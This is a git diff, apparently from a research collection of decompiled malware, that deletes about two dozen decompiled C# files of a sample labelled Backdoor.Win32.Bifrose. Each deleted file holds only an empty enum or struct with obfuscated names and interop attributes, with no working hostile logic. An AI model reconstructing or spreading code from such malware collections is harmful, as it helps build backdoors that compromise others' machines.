a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Î.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Î - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Õ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Õ.cs deleted file mode 100644 index 407af62b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Õ.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Õ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081Õ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ü.cs deleted file mode 100644 index dafe578c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081Ü.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ã.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ã.cs deleted file mode 100644 index ef3e93cb..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ã.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ã -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ã - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081æ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081æ.cs deleted file mode 100644 index 313be291..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081æ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.æ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 532)] - internal struct \u0081æ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ì.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ì.cs deleted file mode 100644 index 89e0e2af..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ì.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ì -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ì - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ò.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ò.cs deleted file mode 100644 index fdf82f6e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ò.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ò -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081ò - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ù.cs deleted file mode 100644 index 6e90274c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0081ù.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0081ù - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0084.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0084.cs deleted file mode 100644 index 5dc8d855..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0084.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚„ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u0084 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0088.cs deleted file mode 100644 index b345b252..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0088.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 544)] - internal struct \u0082\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008A.cs deleted file mode 100644 index 7faf7377..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008A.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u008A - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008E.cs deleted file mode 100644 index aadcd60e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_008E.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0082\u008E - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0094.cs deleted file mode 100644 index 1bff1386..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0095.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0095.cs deleted file mode 100644 index 7de406bb..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_0095.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚• -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u0095 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_009A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_009A.cs deleted file mode 100644 index 1b7d1cd6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082_009A.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 64)] - internal struct \u0082\u009A - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¢.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¢.cs deleted file mode 100644 index 603fa333..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¢.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¢ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u00A2 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¥.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¥.cs deleted file mode 100644 index 723a02a7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¥.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¥ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 224)] - internal struct \u0082\u00A5 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¦.cs deleted file mode 100644 index e987efda..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¦.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082§.cs deleted file mode 100644 index 4031af59..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082§.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 248)] - internal struct \u0082\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¨.cs deleted file mode 100644 index a030822c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0082\u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082©.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082©.cs deleted file mode 100644 index 8de4d0ed..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082©.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚© -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0082\u00A9 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082­.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082­.cs deleted file mode 100644 index 6ce5f17d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082­.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0082\u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082².cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082².cs deleted file mode 100644 index 08c1e74f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082².cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚² -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B2 - { - } -} diff --git 